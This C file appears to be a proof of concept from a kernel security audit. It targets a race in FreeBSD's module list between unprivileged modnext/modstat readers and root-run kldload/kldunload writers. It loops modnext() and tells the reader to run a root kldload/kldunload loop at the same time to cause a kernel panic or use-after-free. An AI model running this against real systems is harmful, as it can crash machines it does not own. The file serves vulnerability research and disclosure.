DF-0162 / modstat_race.c
/* DF-0162 — module TAILQ race: unpriv modstat (mod_token) vs * privileged kldload/kldunload (kld_lock/llf_lock). * * The readers sys_modnext/modfnext/modstat/modfind all take mod_token * (kern_module.c:253,289,328,385) and walk `modules`. The writers * module_register (:141 TAILQ_INSERT_TAIL) and module_release * (:178 TAILQ_REMOVE) mutate the SAME list but are guarded only by * kld_lock/llf_lock in their callers (kern_linker.c). Lock domains * are disjoint, so a concurrent unpriv modstat vs privileged kldload/ * kldunload can corrupt the TAILQ head/next pointers -> panic/UAF. * * This PoC exercises the unprivileged READER side (modstat loop). * The privileged WRITER side requires root (kldload/kldunload), so * the full race cannot be driven end-to-end from a single * unprivileged user -- the realism test documents this as a * "privileged concurrent operation" precondition. We demonstrate * that the reader path is reachable from an unprivileged user and * runs concurrently; pairing it with a root-driven kldload/kldunload * loop reproduces the panic. */ #include <sys/types.h> #include <sys/module.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> static volatile sig_atomic_t stop; static void on_alrm(int s){ stop = 1; } int main(int argc, char **argv) { int seconds = argc > 1 ? atoi(argv[1]) : 5; if (seconds <= 0) seconds = 5; signal(SIGALRM, on_alrm); alarm(seconds); unsigned long n = 0; int modid = 0; while (!stop) { /* walk the module list via modnext -- this is the reader path that holds mod_token (kern_module.c:253). */ if (modnext(modid) < 0) modid = 0; else modid = modnext(modid); n++; } printf("DF-0162: did %lu modnext() iterations in %d s (reader-side race surface)\n", n, seconds); printf("DF-0162: writer side (module_register/module_release at kern_module.c:141/178)\n" " needs kld_lock/llf_lock -- privileged (kldload/kldunload). Run a\n" " root-side `while true; do kldload ums; kldunload ums; done` loop\n" " concurrently with this PoC to manifest the panic.\n"); return 0; } |